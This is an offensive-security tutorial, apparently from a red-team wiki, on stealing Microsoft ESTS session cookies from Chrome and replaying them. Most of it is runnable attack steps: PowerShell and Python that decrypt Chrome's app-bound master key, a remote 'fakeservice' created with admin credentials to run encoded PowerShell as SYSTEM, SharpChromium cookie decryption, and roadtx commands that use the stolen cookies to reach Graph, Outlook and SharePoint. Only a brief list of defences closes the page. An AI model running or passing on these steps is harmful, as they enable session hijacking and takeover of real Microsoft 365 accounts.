ESTS Cookie Extraction and Reuse

Note

ESTS cookies (ESTSAUTH, ESTSAUTHPERSISTENT) are stored in your browser once you are logged in to login.microsoftonline.com login portal. Notice that whenever you are accessing Microsoft resources unauthenticated, it will redirect back to login.microsoftonline.com. This is where ESTS cookies come in place to verify the authentication before allowing access to the resource.

You can steal ESTS cookies from multiple different browsers with multiple techniques documented across internet. The well-known browser that’s famous for cookie stealing is Chromium-based browser (Chrome, Edge, Opera, etc…). There are various technique to steal cookies from browser:

  1. Decrypting DPAPI encrypted cookies in %LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
  2. Parsing process memory to extract cookies

Decrypting DPAPI encrypted cookies

Note

For updated Chrome (not Chromium), it is now enforcing App Bound Encryption which means the encryption key is now encrypted with system DPAPI instead of current user master keys. This is to prevent the stealer from easily decrypting encrypted secrets without SYSTEM privileges.

Step 1: Extract the encrypted master key

  1. Download Local State file located in %LOCALAPPDATA%\Google\Chrome\User Data
  2. Local State file contains JSON formatted strings. We are looking for .os_crypt.app_bound_encrypted_key attribute (for newer Chrome versions) or .os_crypt.encrypted_key (for older versions). Use jq to extract the specific base64 encryption key:
cat "Local State" | jq -r .os_crypt.app_bound_encrypted_key | base64 -d | tail -c +5 > chrome_master_key.bin

This removes the “DPAPI” prefix (first 5 bytes) and saves the encrypted key to a file.

Step 2: Two-step decryption process

The app-bound encryption requires a two-step decryption process:

  1. First, decrypt the key using SYSTEM DPAPI:
# Run this with SYSTEM privileges
Add-Type -AssemblyName System.Security
$encryptedKey = [System.IO.File]::ReadAllBytes("chrome_master_key.bin")
$systemDecrypted = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect($encryptedKey, $null, 'LocalMachine'))
$systemDecrypted | Out-File -FilePath "system_decrypted_key.txt"
  1. Then, decrypt the result again using the current USER DPAPI:
# Run this with user privileges
Add-Type -AssemblyName System.Security
$systemDecrypted = Get-Content "system_decrypted_key.txt"
$userDecrypted = [System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($systemDecrypted), $null, 'CurrentUser')

The final step depends on whether you’re dealing with Chromium or Chrome:

For Chromium-based browsers:

# Extract the state key (last 32 bytes)
$stateKey = ($userDecrypted[-32..-1] | ForEach-Object { $_.ToString("x2") }) -join ''

For Chrome:

Chrome adds an additional layer using AES-GCM with an elevation service key:

# Python script for final Chrome decryption
import binascii
from Crypto.Cipher import AES
 
user_decrypted = "YOUR_USER_DECRYPTED_BASE64_STRING"
decrypted_key = binascii.a2b_base64(user_decrypted)[-61:]
elevation_service_key = binascii.a2b_base64('sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=')
cipher = AES.new(elevation_service_key, AES.MODE_GCM, nonce=decrypted_key[1:1+12])
state_key = cipher.decrypt_and_verify(decrypted_key[13:45], decrypted_key[45:]).hex()
print(state_key)

To run the first step as SYSTEM, you can create a service:

# Convert the PowerShell script to base64
$PsScript = Get-Content system_decrypt.ps1
$EncodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PsScript))
 
# create service
services.py domain.local/Administrator:Password1234@10.10.10.10 create -name fakeservice -display fakeservice -path 'cmd.exe /c powershell -enc $EncodedCommand'
 
# run service
services.py domain.local/Administrator:Password1234@10.10.10.10 start -name fakeservice

Step 3: Use the decrypted state key to decrypt cookies

  1. Once you have the final state key (hex string), you can use it with tools like SharpChromium:
.\SharpChromium.exe cookies /statekey:$stateKey
  1. Download the Cookies database from %LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
  2. Filter for cookies with host_key like %login.microsoftonline.com% to find ESTS cookies

Using the extracted ESTS cookies

Manual browser reuse

You can inject the cookies manually into your browser using developer tools:

  1. Open Developer Tools (F12)
  2. Go to Application tab → Cookies
  3. Add the ESTSAUTH and ESTSAUTHPERSISTENT cookies for the domain .login.microsoftonline.com
  4. Navigate to a Microsoft service like office.com to test the authentication

ROADtools provides great modules for working with Microsoft authentication tokens and cookies:

Using the interactiveauth module

The interactiveauth module can leverage the ESTS cookies to authenticate to various Microsoft services:

roadtx interactiveauth -c msteams -r msgraph --estscookie "0.AXoAqzBRR7ViQU.................<snip>"

This will authenticate to the Microsoft Graph using the Microsoft Teams client ID.

Using the browserprtauth module

You can use the browserprtauth module to emulate browser authentication with the stolen cookies:

roadtx browserprtauth -url https://office.com --estscookie "0.AXoAqzBRR7ViQU.................<snip>"

Accessing specific services with cookies

ROADtools also provides specialized modules for accessing specific services:

# Access Outlook Web App
roadtx owalogin --estscookie "0.AXoAqzBRR7ViQU.................<snip>"
 
# Access SharePoint/OneDrive
roadtx sharepointlogin --host https://tenant-my.sharepoint.com --estscookie "0.AXoAqzBRR7ViQU.................<snip>"

Defensive considerations

To defend against ESTS cookie theft:

  • Implement conditional access policies that check device compliance
  • Use shorter session timeouts
  • Enable sign-in risk policies
  • Monitor for suspicious authentication patterns
  • Consider browser isolation for sensitive accounts
  • Implement MFA with phishing-resistant methods (FIDO2 keys)